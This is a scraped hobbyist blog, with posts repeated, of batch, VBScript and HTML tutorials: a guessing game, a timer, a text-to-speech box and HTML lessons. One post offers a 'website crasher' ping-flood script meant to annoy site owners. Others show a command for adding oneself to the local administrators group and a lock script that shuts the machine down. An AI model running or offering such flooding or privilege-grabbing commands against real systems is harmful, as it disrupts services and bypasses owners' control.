In this lesson I am going to teach you how to code an input box in batch. To make the question you will have to do @echo Question here. Then you will have to code an input box like this. set /p inputname= . Then input name can be any 1 word thing. Then it will save the name that you put there as a variable. Variables can be echoed like this. @echo %hi%. You can also make something like this where if the answer is yes it will do something.
@echo off
@echo Would you like to download this file? (yes / no)
set /p question=
If %question% EQU yes goto yes
If %question% EQU no goto no
:yes
@echo Hi
pause
exit
:no
@echo Hi
pause
exit
For the If's EQU stands for equals, GTR stands for greater than and LSS stands for less than.
Showing posts with label AHW. Show all posts
Showing posts with label AHW. Show all posts
Monday, June 9, 2014
Sunday, June 8, 2014
Batch Lessons part 2
Today I am going to teach you how to code Batch. If you type in title in then something else it will make it the title.
title Hi
You could also make a program like this where it randomly switches titles.
@echo off
:1
title qa
:2
title fd
:3
title as
:4
title rd
:5
title sd
goto 1
Also to goto a spot you type in goto then the name of that place. To make a place a place you have to type a : before the name and the name can only be 1 word long.
:hi
@echo Hi
pause
goto hi
title Hi
You could also make a program like this where it randomly switches titles.
@echo off
:1
title qa
:2
title fd
:3
title as
:4
title rd
:5
title sd
goto 1
Also to goto a spot you type in goto then the name of that place. To make a place a place you have to type a : before the name and the name can only be 1 word long.
:hi
@echo Hi
pause
goto hi
Thursday, June 5, 2014
Super Accurate Clock
Today I will show you how to make a super accurate clock. Just type this code into notepad and save it as clock.bat
@ECHO off
color 2f
:A
@echo %time%
GOTO :A
@ECHO off
color 2f
:A
@echo %time%
GOTO :A
Wednesday, June 4, 2014
Batch Lessons part 1
Today I am going to teach you how to code a little Batch. Batch files are saved with the .bat extension. Today I am going to teach you how to make it write stuff and other basics. The first thing you should do in a Batch file is write @echo off. You do not have to do this but the file will look much better if you do. On the next line type @echo what you want to say goes here. Then on the next line write pause.
@echo off
@echo Hi
pause
@echo off makes it hide what the program says it is doing. @echo will make it say something. pause makes you have to press any key to continue. Exit will make the program exit.
CLS will clear the page so you could write a code like this.
@echo off
@echo Hi.
pause
CLS
@echo What is your name?
pause
CLS
@echo I am Tate.
pause
CLS
exit
It would look like this.
@echo off
@echo Hi
pause
@echo off makes it hide what the program says it is doing. @echo will make it say something. pause makes you have to press any key to continue. Exit will make the program exit.
CLS will clear the page so you could write a code like this.
@echo off
@echo Hi.
pause
CLS
@echo What is your name?
pause
CLS
@echo I am Tate.
pause
CLS
exit
It would look like this.
Tuesday, June 3, 2014
Blogger Alert Messages
Some people have been asking me how I get that popup box on my blog and just so I don't have to show too many people I am going to show you in a post.
Step 1. Make a new post.
Step 2. Click the button that says HTML.
Step 3. In the HTML section write this:
<script>
alert('What ever you want goes here')
</script>
Step 4. Publish the post.
Step 5. There is no step 5 what are you looking at.
Step 1. Make a new post.
Step 2. Click the button that says HTML.
Step 3. In the HTML section write this:
<script>
alert('What ever you want goes here')
</script>
Step 4. Publish the post.
Step 5. There is no step 5 what are you looking at.
Monday, June 2, 2014
Speech Box
If you want a speech box that will say what you type in then type this code into notepad and save as speech.vbs
DO
Dim msg, sapi
msg=InputBox("Enter your text for conversion")
Set sapi=CreateObject("sapi.spvoice")
sapi.Speak msg
LOOP
DO
Dim msg, sapi
msg=InputBox("Enter your text for conversion")
Set sapi=CreateObject("sapi.spvoice")
sapi.Speak msg
LOOP
Sunday, June 1, 2014
Guessing Game with Batch
This is the code for a guessing game that is made from batch. It is a 2 player game and you can choose if you want it to be hard easy or medium by choosing how many guesses you get. Just copy it down and save it as guess.bat .
@echo off
color 0b
set/a one's=50
set/a two's=40
set/a three's=30
set/a four's=20
set/a five's=10
set/a six's=5
set/a seven's=1
echo Welcome to this useless two-player game in which one player picks a number
echo.
echo between 1 and 100 and the other player tries to guess it. Player 1 makes the
echo.
echo number and player 2 tries to guess it. You will be given NO hints or clues.
echo.
pause
cls
echo Enter the name for each player.
set/p "pone=Player one>"
echo.
set/p "ptwo=Player two>"
cls
goto ar
:busted
cls
echo I SAID a number between 1 and 100!
echo.
:ar
echo OK %ptwo%, look away. %pone%, type in the number and press enter.
set/p "deguess=>"
if %deguess% GTR 100 GOTO busted
cls
echo Choose a difficulty, %ptwo%:
echo.
echo (1) piece of cake-50 guesses
echo (2) easy-40 guesses
echo (3) moderate-30 guesses
echo (4) a little tricky-20 guesses
echo (5) hard-10 guesses
echo (6) insane-5 guesses
echo (7) impossible!-1 guess
echo.
echo Type the number of the difficulty you would like to play.
echo.
set/p "diff=>"
if %diff%==1 GOTO 1
if %diff%==2 GOTO 2
if %diff%==3 GOTO 3
if %diff%==4 GOTO 4
if %diff%==5 GOTO 5
if %diff%==6 GOTO 6
if %diff%==7 GOTO 7
:1
cls
goto br
:no21
cls
echo NOPE!
echo.
:br
echo Guess in the space below. You still have %one's% guesses.
set/p "guess41=>"
if %guess41%==%deguess% GOTO success
set/a one's=%one's%-1
if %one's%==0 GOTO failure
goto no21
:2
cls
goto cr
:no22
cls
echo NOPE!
echo.
:cr
echo Guess in the space below. You still have %two's% guesses.
set/p "guess42=>"
if %guess42%==%deguess% GOTO success
set/a two's=%two's%-1
if %two's%==0 GOTO failure
goto no22
:3
cls
goto dr
:no23
cls
echo NOPE!
echo.
:dr
echo Guess in the space below. You still have %three's% guesses.
set/p "guess43=>"
if %guess43%==%deguess% GOTO success
set/a three's=%three's%-1
if %three's%==0 GOTO failure
goto no23
:4
cls
goto er
:no24
cls
echo NOPE!
echo.
:er
echo Guess in the space below. You sill have %four's% guesses.
set/p "guess44=>"
if %guess44%==%deguess% GOTO success
set/a four's=%four's%-1
if %four's%==0 GOTO failure
goto no24
:5
cls
goto fr
:no25
cls
echo NOPE!
echo.
:fr
echo Guess in the space below. You still have %five's% guesses.
set/p "guess45=>"
if %guess45%==%deguess% GOTO success
set/a five's=%five's%-1
if %five's%==0 GOTO failure
goto no25
:6
cls
goto gr
:no26
cls
echo NOPE!
echo.
:gr
echo Guess in the space below. You have %six's% guesses left.
set/p "guess46=>"
if %guess46%==%deguess% GOTO success
set/a six's=%six's%-1
if %six's%==0 GOTO failure
goto no26
:7
cls
echo Guess in the space below. You only have %seven's% guess.
set/p "guess47=>"
if %guess47%==%deguess% GOTO success
goto failure
:success
cls
echo Well done, %ptwo%! You may now exit the game.
color 0c
color 09
color 0e
goto success
:failure
cls
echo %pone%'s number was too difficult. Sorry, %ptwo%.
echo.
echo The number was %deguess%.
echo.
pause
@echo off
color 0b
set/a one's=50
set/a two's=40
set/a three's=30
set/a four's=20
set/a five's=10
set/a six's=5
set/a seven's=1
echo Welcome to this useless two-player game in which one player picks a number
echo.
echo between 1 and 100 and the other player tries to guess it. Player 1 makes the
echo.
echo number and player 2 tries to guess it. You will be given NO hints or clues.
echo.
pause
cls
echo Enter the name for each player.
set/p "pone=Player one>"
echo.
set/p "ptwo=Player two>"
cls
goto ar
:busted
cls
echo I SAID a number between 1 and 100!
echo.
:ar
echo OK %ptwo%, look away. %pone%, type in the number and press enter.
set/p "deguess=>"
if %deguess% GTR 100 GOTO busted
cls
echo Choose a difficulty, %ptwo%:
echo.
echo (1) piece of cake-50 guesses
echo (2) easy-40 guesses
echo (3) moderate-30 guesses
echo (4) a little tricky-20 guesses
echo (5) hard-10 guesses
echo (6) insane-5 guesses
echo (7) impossible!-1 guess
echo.
echo Type the number of the difficulty you would like to play.
echo.
set/p "diff=>"
if %diff%==1 GOTO 1
if %diff%==2 GOTO 2
if %diff%==3 GOTO 3
if %diff%==4 GOTO 4
if %diff%==5 GOTO 5
if %diff%==6 GOTO 6
if %diff%==7 GOTO 7
:1
cls
goto br
:no21
cls
echo NOPE!
echo.
:br
echo Guess in the space below. You still have %one's% guesses.
set/p "guess41=>"
if %guess41%==%deguess% GOTO success
set/a one's=%one's%-1
if %one's%==0 GOTO failure
goto no21
:2
cls
goto cr
:no22
cls
echo NOPE!
echo.
:cr
echo Guess in the space below. You still have %two's% guesses.
set/p "guess42=>"
if %guess42%==%deguess% GOTO success
set/a two's=%two's%-1
if %two's%==0 GOTO failure
goto no22
:3
cls
goto dr
:no23
cls
echo NOPE!
echo.
:dr
echo Guess in the space below. You still have %three's% guesses.
set/p "guess43=>"
if %guess43%==%deguess% GOTO success
set/a three's=%three's%-1
if %three's%==0 GOTO failure
goto no23
:4
cls
goto er
:no24
cls
echo NOPE!
echo.
:er
echo Guess in the space below. You sill have %four's% guesses.
set/p "guess44=>"
if %guess44%==%deguess% GOTO success
set/a four's=%four's%-1
if %four's%==0 GOTO failure
goto no24
:5
cls
goto fr
:no25
cls
echo NOPE!
echo.
:fr
echo Guess in the space below. You still have %five's% guesses.
set/p "guess45=>"
if %guess45%==%deguess% GOTO success
set/a five's=%five's%-1
if %five's%==0 GOTO failure
goto no25
:6
cls
goto gr
:no26
cls
echo NOPE!
echo.
:gr
echo Guess in the space below. You have %six's% guesses left.
set/p "guess46=>"
if %guess46%==%deguess% GOTO success
set/a six's=%six's%-1
if %six's%==0 GOTO failure
goto no26
:7
cls
echo Guess in the space below. You only have %seven's% guess.
set/p "guess47=>"
if %guess47%==%deguess% GOTO success
goto failure
:success
cls
echo Well done, %ptwo%! You may now exit the game.
color 0c
color 09
color 0e
goto success
:failure
cls
echo %pone%'s number was too difficult. Sorry, %ptwo%.
echo.
echo The number was %deguess%.
echo.
pause
Thursday, May 29, 2014
Folder Generator
Today I have coded a pretty useful program that will make a folder where you want it with the name you want it to have. It can create folders in someone else's account if you are admin. Just copy it into notepad and save it as folder.bat
@echo off
@echo Which drive do you want the folder to go to?
@echo If you do not know what to do type what.
@echo If you know what to do type next.
set /p choice=
If %choice% EQU what goto what
If %choice% EQU next goto enter
:WHAT
@echo put the drive directory like this.
@echo Example
@echo ===============================================================================
@echo C:\Users\Bob\Desktop
@echo ===============================================================================
:ENTER
@echo Enter the name of the directory where you want to create your folder.
set /p choice2=
cd %choice2%
@echo Now enter the name of the folder you will create.
set /p choice3=
md "%choice3%"
pause
:RESTART
@echo Would you like to make another folder? (yes or no)
set /p choice4=
If %choice4% EQU yes goto enter
If %choice4% EQU no goto bye
:BYE
@echo Bye I hope this was a useful program for you.
pause
@echo off
@echo Which drive do you want the folder to go to?
@echo If you do not know what to do type what.
@echo If you know what to do type next.
set /p choice=
If %choice% EQU what goto what
If %choice% EQU next goto enter
:WHAT
@echo put the drive directory like this.
@echo Example
@echo ===============================================================================
@echo C:\Users\Bob\Desktop
@echo ===============================================================================
:ENTER
@echo Enter the name of the directory where you want to create your folder.
set /p choice2=
cd %choice2%
@echo Now enter the name of the folder you will create.
set /p choice3=
md "%choice3%"
pause
:RESTART
@echo Would you like to make another folder? (yes or no)
set /p choice4=
If %choice4% EQU yes goto enter
If %choice4% EQU no goto bye
:BYE
@echo Bye I hope this was a useful program for you.
pause
Wednesday, May 28, 2014
Countdown Timer with Calculator
Today I will show you how to create a countdown timer with a calculator so you know the time you need. Just type this code into notepad and save it as calc.bat . You can only count down in seconds and that is why it has a built in calculator.
@echo off
:menu
color 0b
:bust
cls
echo Welcome to the timer. This timer only counts seconds.
echo.
echo Type in the amount of seconds to count. The number may range from 0 to
echo 99,999. If you need help converting minutes into seconds, type c for a
echo caculator.
echo.
set/p "time=>"
if %time%==c GOTO calc
if %time%==C GOTO calc
if %time% GTR 99999 GOTO bust
cls
echo The time has been set! Press any key to start counting. You can stop the
echo timer by pressing any key. After stoping, the timer cannot continue.
echo.
pause
cls
color 0c
timeout %time%
echo.
echo (DING!)
echo.
pause
goto menu
:calc
cls
color 0a
echo Type the math problem below. This calculator doesn't accept decimals,
echo percents, etc. Only whole numbers.
echo.
set/p "math=>"
set/a nmath=%math%
cls
echo %math%=%nmath%
pause
cls
echo Would you like to return to the timer or use the calculator again?
echo.
echo c or C= calculator
echo t or T= timer
echo.
set/p "route=>"
if %route%==c GOTO calc
if %route%==C GOTO calc
if %route%==t GOTO menu
if %route%==T GOTO menu
@echo off
:menu
color 0b
:bust
cls
echo Welcome to the timer. This timer only counts seconds.
echo.
echo Type in the amount of seconds to count. The number may range from 0 to
echo 99,999. If you need help converting minutes into seconds, type c for a
echo caculator.
echo.
set/p "time=>"
if %time%==c GOTO calc
if %time%==C GOTO calc
if %time% GTR 99999 GOTO bust
cls
echo The time has been set! Press any key to start counting. You can stop the
echo timer by pressing any key. After stoping, the timer cannot continue.
echo.
pause
cls
color 0c
timeout %time%
echo.
echo (DING!)
echo.
pause
goto menu
:calc
cls
color 0a
echo Type the math problem below. This calculator doesn't accept decimals,
echo percents, etc. Only whole numbers.
echo.
set/p "math=>"
set/a nmath=%math%
cls
echo %math%=%nmath%
pause
cls
echo Would you like to return to the timer or use the calculator again?
echo.
echo c or C= calculator
echo t or T= timer
echo.
set/p "route=>"
if %route%==c GOTO calc
if %route%==C GOTO calc
if %route%==t GOTO menu
if %route%==T GOTO menu
Tuesday, May 27, 2014
Password Protected Command Prompt
If you ever have wanted people not messing with your command prompt(cmd) then just hide command prompt and put this code into notepad and save it as cmd.bat Then you have to type in a password to do cmd.
@echo off
:home
title Log in to CMD
color 07
cls
echo.
echo Cmd Accounts
echo =============
echo.
echo [1] Log In
echo [2] Sign Up
echo [3] Exit
echo.
set /p op=
if %op%==1 goto 1
if %op%==2 goto 2
if %op%==3 goto 3
goto error
:2
cls
echo Sign Up
echo ======================================
echo.
set /p newname="Enter new username:"
if "%newname%"=="%newname%" goto inputname
:inputname
cd "%userprofile%\documents"
if exist "cmdacoBin" goto skip
if not exist "cmdacoBin" goto noskip
:noskip
md "cmdacoBin"
goto skip
:skip
cd "%userprofile%\documents\cmdacoBin"
if exist "%newname%.bat" goto namexist
if not exist "%newname%.bat" goto skip2
:skip2
echo set realusername=%newname%> "%newname%.bat"
goto next
:next
echo.
set /p pswd=Enter new Password:
if "%pswd%"=="%pswd%" goto inputpass
:inputpass
cd "%userprofile%\documents\cmdacoBin"
echo set password=%pswd%>> "%newname%.bat"
goto next1
:namexist
echo.
echo The entered username already exists.
echo Press any key to return. . .
pause >nul
goto 2
:next1
cls
echo Cmd Accounts
echo ============
echo.
echo Your account has been successfully created!
echo.
pause
goto home
:1
color 07
cls
echo Cmd Accounts Log In
echo ================================
echo.
Set /p logname=Username:
if "%logname%"=="%logname%" goto 2.1
:2.1
echo.
set /p logpass="Password:"
if "%logpass%"=="%logpass%" goto login
:login
cd "%userprofile%\documents\cmdacoBin"
if exist "%logname%.bat" goto call
if not exist "%logname%.bat" goto errorlog
:call
call "%logname%.bat"
if "%password%"=="%logpass%" goto logdone
goto errorlog
:errorlog
color 0c
echo.
echo Username or Password incorrect.
echo Access denied.
pause >nul
goto home
:logdone
cls
echo Command Prompt
echo ==============
echo.
echo Successfully logged in!
echo.
pause
goto account
:account
cls
cd "%userprofile%\documents\cmdacoBin"
call "%realusername%color.bat"
call "%realusername%.bat"
color %colorcode%
cls
echo.
echo -------------------------------------------------------------------------------
echo %realusername%
echo -------------------------------------------------------------------------------
@echo off
break off
Title Command Prompt
color 0a
cls
echo Type "home" any time to go to the current user profile directory.
echo Type "desktop" any time to go to the current user desktop.
echo.
echo Type help to see list of common commands like cd, rd, md, del,
echo ren, replace, copy, xcopy, move, attrib, tree, edit, and cls.
echo Type [command]/? for detailed info.
echo.
pause
cls
:cmd
echo Directory: %CD%
set /P CMD=Command:
if "%CMD%" == "cls" goto cls
if "%CMD%" == "home" goto home2
if "%CMD%" == "desktop" goto desktop
if "%CMD%" == "red" goto red
if "%CMD%" == "green" goto green
if "%CMD%" == "normal" goto normal
%CMD%
cd C:\
goto cmd
:cls
cls
goto cmd
:home2
cd /d %USERPROFILE%
cls
goto cmd
:desktop
cd /d %SystemDrive%\Users\%USERNAME%\Desktop
cls
goto cmd
:red
color 0c
cls
goto cmd
:green
color 0a
cls
goto cmd
:normal
color 07
cls
goto cmd
@echo off
:home
title Log in to CMD
color 07
cls
echo.
echo Cmd Accounts
echo =============
echo.
echo [1] Log In
echo [2] Sign Up
echo [3] Exit
echo.
set /p op=
if %op%==1 goto 1
if %op%==2 goto 2
if %op%==3 goto 3
goto error
:2
cls
echo Sign Up
echo ======================================
echo.
set /p newname="Enter new username:"
if "%newname%"=="%newname%" goto inputname
:inputname
cd "%userprofile%\documents"
if exist "cmdacoBin" goto skip
if not exist "cmdacoBin" goto noskip
:noskip
md "cmdacoBin"
goto skip
:skip
cd "%userprofile%\documents\cmdacoBin"
if exist "%newname%.bat" goto namexist
if not exist "%newname%.bat" goto skip2
:skip2
echo set realusername=%newname%> "%newname%.bat"
goto next
:next
echo.
set /p pswd=Enter new Password:
if "%pswd%"=="%pswd%" goto inputpass
:inputpass
cd "%userprofile%\documents\cmdacoBin"
echo set password=%pswd%>> "%newname%.bat"
goto next1
:namexist
echo.
echo The entered username already exists.
echo Press any key to return. . .
pause >nul
goto 2
:next1
cls
echo Cmd Accounts
echo ============
echo.
echo Your account has been successfully created!
echo.
pause
goto home
:1
color 07
cls
echo Cmd Accounts Log In
echo ================================
echo.
Set /p logname=Username:
if "%logname%"=="%logname%" goto 2.1
:2.1
echo.
set /p logpass="Password:"
if "%logpass%"=="%logpass%" goto login
:login
cd "%userprofile%\documents\cmdacoBin"
if exist "%logname%.bat" goto call
if not exist "%logname%.bat" goto errorlog
:call
call "%logname%.bat"
if "%password%"=="%logpass%" goto logdone
goto errorlog
:errorlog
color 0c
echo.
echo Username or Password incorrect.
echo Access denied.
pause >nul
goto home
:logdone
cls
echo Command Prompt
echo ==============
echo.
echo Successfully logged in!
echo.
pause
goto account
:account
cls
cd "%userprofile%\documents\cmdacoBin"
call "%realusername%color.bat"
call "%realusername%.bat"
color %colorcode%
cls
echo.
echo -------------------------------------------------------------------------------
echo %realusername%
echo -------------------------------------------------------------------------------
@echo off
break off
Title Command Prompt
color 0a
cls
echo Type "home" any time to go to the current user profile directory.
echo Type "desktop" any time to go to the current user desktop.
echo.
echo Type help to see list of common commands like cd, rd, md, del,
echo ren, replace, copy, xcopy, move, attrib, tree, edit, and cls.
echo Type [command]/? for detailed info.
echo.
pause
cls
:cmd
echo Directory: %CD%
set /P CMD=Command:
if "%CMD%" == "cls" goto cls
if "%CMD%" == "home" goto home2
if "%CMD%" == "desktop" goto desktop
if "%CMD%" == "red" goto red
if "%CMD%" == "green" goto green
if "%CMD%" == "normal" goto normal
%CMD%
cd C:\
goto cmd
:cls
cls
goto cmd
:home2
cd /d %USERPROFILE%
cls
goto cmd
:desktop
cd /d %SystemDrive%\Users\%USERNAME%\Desktop
cls
goto cmd
:red
color 0c
cls
goto cmd
:green
color 0a
cls
goto cmd
:normal
color 07
cls
goto cmd
Monday, May 26, 2014
Website Crashing Code
Website crashing can be fun because people will get extremely annoyed. If you ever wanted the crash someones website then all you have to do is type in this code and wait for about 10-20 minutes. You operate it by typing in the website URL (http:// or https:// not included) and press enter. It will ping the website with so much data the website will not be able to process the data and send it back in time. Then the website becomes really slow because it is working so hard returning the ping data. Then to end the crashing press CTRL + C.
:A
@echo off
Title Website Crasher
color 0e
echo Enter the website you would like to crash
set input=
set /p input= Enter your Website here:
if %input%==goto A if NOT B
echo Processing Your request
ping localhost>nul
echo To end Crashing press CTRL + C
ping localhost>nul
cls
echo ----------------------------------------------------------------------
echo Now Crashing Website...DO NOT CLOSE THIS BOX!! PRESS CRTL + C TO END!!
echo ----------------------------------------------------------------------
ping %input% -t -l 10000
DO NOT CLOSE THE BOX WHEN YOU ARE ENDING CRASHING!!!
:A
@echo off
Title Website Crasher
color 0e
echo Enter the website you would like to crash
set input=
set /p input= Enter your Website here:
if %input%==goto A if NOT B
echo Processing Your request
ping localhost>nul
echo To end Crashing press CTRL + C
ping localhost>nul
cls
echo ----------------------------------------------------------------------
echo Now Crashing Website...DO NOT CLOSE THIS BOX!! PRESS CRTL + C TO END!!
echo ----------------------------------------------------------------------
ping %input% -t -l 10000
Friday, May 23, 2014
Secure Folder
This is a secure folder that is invisible and can only be accessed by this batch program. First go to your desktop and right click the background. Then hover over new and press text document. Then do the same thing except create a new folder instead of a text document. Open the folder and put the text document in. Then right click the folder and select properties. Near the bottom of the properties page there will be a check box with the word hidden right next to it. Check the box and press apply and when the dialogue box comes up, select the answer that says this folder and all of the sub folders etc. Then go to the desktop and make another new text document. This time save it as pass.bat . At the places where it says <username goes here> put your username and at the places where it says <password goes here> put your password. At the part where it says <name of folder goes here> paste the name of your folder (C:\Users\Tate\Desktop\Secret-Folder). You can not put a space in the folder name or it will not work. Right click the document and paste this code into it.
@ECHO OFF
TITLE Login
COLOR 0a
:USERID
CLS
ECHO Enter User ID:
ECHO > NUL
SET /p USERID=
IF %USERID% EQU <username goes here> GOTO PASSWORD
IF %USERID% LSS <username goes here> GOTO INVALID
IF %USERID% GTR <username goes here> GOTO INVALID
:PASSWORD
CLS
ECHO Enter autherization code:
SET /p PASSWORD=
IF %PASSWORD% EQU <password goes here> GOTO MAIN
IF %PASSWORD% LSS <password goes here> GOTO INVALID
IF %PASSWORD% GTR <password goes here> GOTO INVALID
:INVALID
CLS
ECHO INAVLID LOGIN.....
PING -n 3 127.0.0.1 > NUL
ECHO Please try again...
PING -n 3 127.0.0.1 > NUL
GOTO USERID2
:USERID2
CLS
ECHO Enter User ID:
ECHO > NUL
SET /p USERID=
IF %USERID% EQU <username goes here> GOTO PASSWORD2
IF %USERID% LSS <username goes here> GOTO INVALID2
IF %USERID% GTR <username goes here> GOTO INVALID2
:PASSWORD2
CLS
ECHO Enter autherization code:
SET /p PASSWORD=
IF %PASSWORD% EQU <password goes here> GOTO MAIN
IF %PASSWORD% LSS <password goes here> GOTO INVALID2
IF %PASSWORD% GTR <password goes here> GOTO INVALID2
:INVALID2
CLS
ECHO INAVLID LOGIN.....
PING -n 3 127.0.0.1 > NUL
ECHO Please try again...
PING -n 3 127.0.0.1 > NUL
:LOOP
shutdown.exe /s /t 00
GOTO LOOP
:MAIN
ECHO Welcome...
ECHO You are super awesome...
start <name of folder goes here>
PING -n 3 127.0.0.1 > NUL
The program will open the folder and then you can put stuff into it. If you get the password wrong twice it will shutdown the computer so people can't keep trying.
Thursday, May 22, 2014
Admin
Just so everyone knows the admin trick is only for windows computers and there is another way to do it.
Press windows key and r together and it will open the run program. Then type cmd into the box and click ok. This will open cmd (Command Prompt). Then type in.
net localgroup administrators USERNAME /add
You need to make the USERNAME your username for the computer. This will either make you an admin or deny your access.
Press windows key and r together and it will open the run program. Then type cmd into the box and click ok. This will open cmd (Command Prompt). Then type in.
net localgroup administrators USERNAME /add
You need to make the USERNAME your username for the computer. This will either make you an admin or deny your access.
Wednesday, May 21, 2014
How to make yourself an admin
If you want to become an admin on a computer then just type the following code into notepad and save it as Admin.bat The only reason you have to put the pause is to check if the access is denied and so you don't have to keep trying to get a screenshot of it.
net localgroup administrators USERNAME /add
pause
If you want to delete yourself or a friend from admin then type in this code.
net localgroup administrators USERNAME /delete
pause
If your access for admin is denied it will show up like this is the red circle.
net localgroup administrators USERNAME /add
pause
If you want to delete yourself or a friend from admin then type in this code.
net localgroup administrators USERNAME /delete
pause
If your access for admin is denied it will show up like this is the red circle.
Tuesday, May 20, 2014
How to put moving text on your blog
Today I am going to show you how to put moving text on your blog.
First you make a new post on your blog. Then go to the HTML editor and write <marquee>What ever you want goes here</marquee>
Then publish the post and the text will move like this.
Monday, May 19, 2014
How to get mods version 2
Do not do this with skydaz.com
This is the second easiest way to get mods in Minecraft and it is NOT only for windows. First search up the mod you want and when you think you have found the right site then download the mod. Once you have the mod you must get to the minecraft.jar in your computer files. If you are using windows then the easiest way to find it is to search up %appdata% is the search bar in the windows explorer then click on roaming then click on minecraft.jar. After you have gotten to minecraft.jar then go to the mods folder in it. Go to your downloads folder on a different tab and grab the folder of the mod and place it in the mods folder. Then you have to run Minecraft and play it on the forge profile.Sunday, May 18, 2014
How to get a new Ubuntu OS
Today I am going to show you how to get some Operating Systems (OS) in the Ubuntu series. First enter http://www.ubuntu.com/download/desktop in the URL bar. Then select the version you need of it. Then press download. Skip all the donation parts unless you want to donate and go to the link that says not now take me to the download. It should automatically download within 10 seconds. Once you have downloaded it open it and press the next button until it lets you pick which version of it you want (Ubuntu, MythBuntu, EdBuntu etc.). Ubuntu is the best and most advanced version. Wait for it to install then restart your computer. When you turn it on there should be an option list that has the OS you just installed and your old windows one. Press the down arrow and press enter. You password will be the same as the windows one. That is all for today.
Thursday, May 15, 2014
How to get mods for Minecraft
Today I will show you how to get mods in Minecraft. There are different ways to do this. I am going to show you 1 easy way.
Step 2. Find the mod you want and make sure it is for the version of Minecraft you use.
Step 3. Click on it and go to the download links right above the comments.
Step 8. Open the extracted launcher and click the big green Add Mod button.
Step 9. The mod will install and you just have to open minecraft.
THIS IS ONLY FOR WINDOWS COMPUTERS!!!
Step 1. Goto www.skydaz.comStep 2. Find the mod you want and make sure it is for the version of Minecraft you use.
Step 3. Click on it and go to the download links right above the comments.
Step 4. Click on the second download link.
Step 5. It will take you to adfly and you must wait 5 seconds then click the skip add button in the top right corner.
Step 6. Go to your downloads folder then click on the zipped folder containing the launcher and open the launcher.
Step 7. A pop-up box will appear and you must click extract.Step 8. Open the extracted launcher and click the big green Add Mod button.
Step 9. The mod will install and you just have to open minecraft.
Wednesday, May 14, 2014
HTML Lessons part 20
In this lesson I am going to teach you how to use the <span> tag. The span tag is used for special styling inside a paragraph. You can make multiple different spans like this <span2> <span3> and so on. You can code it like this.
<p style="color: blue">Hi whats <span style="color: red">your</span> name?</p>
It would turn out like this.
You can also style spans with CSS or <style>. That is all for today!
<p style="color: blue">Hi whats <span style="color: red">your</span> name?</p>
It would turn out like this.
Hi whats your name?
You can also style spans with CSS or <style>. That is all for today!
Tuesday, May 13, 2014
HTML Lessons part 19
In this lesson I am going to teach you how to use the <table> tag but only the basics of it. This is how to code a table.
<table>
<tr>
<td>Hi</td>
<td>Sup</td>
</tr>
</table>
The <tr> element is a row of data cells and the <td> tag is one of the datacell/columns. You can add more than one row. You can also style it. If you want to style the whole row then put the style in the <tr> but is you want is only in the datacell the just put it in the <td>. That is all for today!
<table>
<tr>
<td>Hi</td>
<td>Sup</td>
</tr>
</table>
The <tr> element is a row of data cells and the <td> tag is one of the datacell/columns. You can add more than one row. You can also style it. If you want to style the whole row then put the style in the <tr> but is you want is only in the datacell the just put it in the <td>. That is all for today!
Labels:
AHW
Subscribe to:
Posts (Atom)


